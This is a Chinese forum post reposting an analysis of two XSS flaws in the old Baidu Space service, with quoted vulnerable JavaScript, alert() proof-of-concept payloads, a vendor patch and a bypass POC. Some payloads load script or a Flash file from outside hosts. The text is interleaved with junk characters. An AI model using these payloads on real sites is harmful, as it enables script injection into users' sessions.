找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2054|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
& m8 K* i" b% g/ H* G5 R2 S% a& E7 U$ }6 X
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
' g$ m) ~" `! t2 b1 l2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
/ U; K+ F. s  ?1 w: ~, B  H% E/ s
2 U% X% M! ]+ p, \+ J. @将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
9 ]1 }" q- ?5 W% T) p$ r其中BdUtil.insertWBR为  8 E# j8 e# I, G* e% H5 Q5 P$ B, s" T
function(text, step) {  3 t" t5 `4 H+ G
    var textarea = textAreaCache || getContainer();  
* ?/ r4 y7 W5 \0 R6 N- b    if (!textarea) {  
! g. W# V1 f6 Z+ s% d5 m        return text;  $ u- F/ W6 f7 R( ~) m% Z, o
    }  
5 {; X1 g  c0 I2 ?5 d: w: U    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  7 t1 w- h6 A+ j5 d* D# g
    var string = textarea.value;  , X( U2 Q4 i( X$ |1 V! y0 K: l
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
8 B/ [& J& A, `    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
, a& e" K: e9 W, P    return result;  
0 f+ A; w# J7 M8 P4 M}  $ t* l0 ]! S' m* B# I0 J# S' a8 g
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  ; u. q/ b( _9 n. T% F
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
. w; L) g8 s3 ]6 ?+ V   
3 ^' }. k$ w) O/ L/ H二:creatbgmusic() Dom-Xss Bug  & P2 J1 O) ^1 z$ d5 X0 [$ T) R
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  0 i! S% v; i5 V/ Q

+ i6 ~/ o4 J# q) b# \1 v+ ~% |# ?http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  0 q) ~+ c% K; P( G# p1 w" `' `
( b: I2 H' Q0 |3 n
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
7 s8 Q1 P4 o  H/ M9 L5 x( n; N0 T    //传入的murl赋值到bgmusic1和bgmusic2中  
% S! H3 W$ u7 f( [$ g    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
. ^/ m8 D5 M$ x4 ?; N* v    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  . D4 A# Y7 i' z1 B( L9 r
    if (musicnum <= 1) {  ; w! ^& h; V) z& x9 {0 {" \/ T
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
1 W9 A4 [& n* u    }  
- P  l( R( f8 I/ `9 c1 G0 K    bgmusic1 += "</OBJECT>";  
0 F: B. N# F* z, c0 V. u    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
& ?8 n/ ~/ I- Z: s) |0 }# F5 Q( ^    if (musicnum <= 1) {  
9 B% b: I; D' G6 D2 v        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  + m* a5 O& D6 h+ M7 t
    }  
$ w& H8 \# y6 H! A  ^6 V9 X    bgmusic2 += "> </EMBED>";  - C+ \' g: F/ {  \& p! ]) t
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  % ~6 I9 L- m" K% B+ K1 z
    var bgmus = detectWMP();  
# h# `6 ?7 c) {( [% W& B% Q$ h    if (functype == "FckMusicHelper") {  
: S8 ?- [) C) P8 Q        if (bgmus.installed) {  
! F/ H0 Q  Z  H5 u9 A            if (bgmus.type == "IE") {  3 z2 w* v% s/ n" C" L& h7 S
                return bgmusic1;  5 S7 X0 T6 ]7 H
            } else if (bgmus.type == "NS") {  
$ h0 L+ j# E$ S$ f) e                return bgmusic2;  - c+ h* I& g1 C% l" T
            }  
& {: [# A( Y3 J8 k. k" `" Z, C        } else {  7 ]% l: c/ j, H2 u& i
            return bgmusic3;  , C9 s) j$ i9 D/ |  f
        }  & Y7 u( K4 L  |: w; ]1 _8 ~
    } else {  
9 T- O# O+ A5 N        if (bgmus.installed) {  . X" j8 R: O0 {! n  p, K/ ?6 \
            //document.write 直接输出bgmusic变量 导致xss  
( j2 _- w- l: _7 j5 B! ^9 x            if (bgmus.type == "IE") {  $ N% {2 e' G$ c; j7 o/ w% p/ }! }
                document.write(bgmusic1);  
% P1 O  s! V' F            } else if (bgmus.type == "NS") {  % Y' e8 o, e+ g6 i
                document.write(bgmusic2);  2 }- u/ `, N  E& Y2 Q' a. l6 C
            }  : V9 n" \# j7 i* a8 F$ ]+ o/ {
        } else {  
: E' |1 @. |! l' t' S            document.write(bgmusic3);  8 C) L; y& y3 q# \
        }  
' W3 K  j" o* H% z        return "";  
4 ?! R( e6 q0 j    }  
8 w! A4 c! x+ W& p  q7 _' M}  & \: N7 e- v/ I. @
( K& t' K: f6 k3 C( K  A- Y/ D
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
7 c% r8 m8 F& }; q' |$ u& L$ q
0 ]& n: P2 G6 W7 H! j& vfunction initBlogTextForFCK(){  % E, O# y; T0 F" r) r
//fck init music  % b( b" p  y) _% {7 U' q; P
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ( c8 g2 Q2 Q, F4 a# w) z
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
/ x# U5 v1 C, [) K- m# H  bvar isAutoPlay=true;  , T4 H. y, m+ o1 z; ?
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  3 c. ?) g4 ]* S: q  \
  var img=imgBox;  
, l" |" D. q) g6 L  v  if(img.getAttribute(’rel’)){        
1 X( s- Y4 b9 Y7 X- T8 i  |   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  7 h- L+ ~2 s; N- n  z4 M- ?
   var musicDiv = document.createElement("SPAN");  
2 q8 y( b& h9 u1 |   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
& }! s1 D% ^" Z8 D     
2 l( B+ Z: K7 s# D0 l! U      ..........................  & Q' |$ P/ ~( D, x  U  L& m1 z1 a
     0 [" n0 B/ M6 i  U' a  c( q2 G7 T
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
; C5 a2 {# t: E2 C   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
$ u- h6 q  c* H2 B0 \2 d   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  4 g" j2 l, P# z3 l( f3 B
   musicDiv.innerHTML=shtml;  
& o( o+ U" |; _" o   i--;n--;  / W$ R( }7 K* M" l2 Z! ^! ?
  }  6 r5 E) O4 n3 j- A; E
}  . |8 {9 i: \1 A: n

6 \) `5 r8 [7 K  Y+ D& _0 D从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
5 P/ @8 R: B1 y/ z   
3 ]. k+ P. \# f4 N8 n* x测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
" ^1 O9 B  s0 g% s) \1 `/ C7 f2 i9 a' H, n: m; y
等待官方补丁  , u) Q8 ?+ ]1 O! O* @3 _" g

1 X1 R1 w7 ?- N" K5 }/ `, Bupdate 2010年5月13日   
6 e' C0 y& x% I9 s$ z# U, f" |; S, [& w% M1 ^  i& h% n0 \
官方补丁:  & H6 K2 E6 z! z

5 {4 K- x7 Z' z7 j) z& M' ~# svar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  % v8 v. D: Z& `  s. v2 ~$ j
改为:  
3 D8 X6 l% k. A; c6 cvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  7 w2 Y) |1 x# {% @

4 I9 }8 l! \8 B: U# p9 x/ m( r& {update 2010年5月13日 21:50:37  # N' Q/ u# U, n+ `3 @+ H

8 f1 q7 }2 f. s( ?% e+ q补丁存在漏洞 没有过滤" 可以继续跨:  
8 ]/ p' k# s- D& k2 K
' M. e& ?  o6 f$ b/ D; j8 T1 ]' d* {3 fNEW POC:  ! {' g& g9 ~& f' d& @: E. }

  h- m+ y5 c7 S2 ~! w<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 0 S3 ~: m0 L7 y- D- B* J- i
. [+ t, W! j' i, b: f# a
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>0 k! o* @9 }' m: U$ v5 Y* x6 ~1 A

8 g$ \- f  W' ~! S- U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表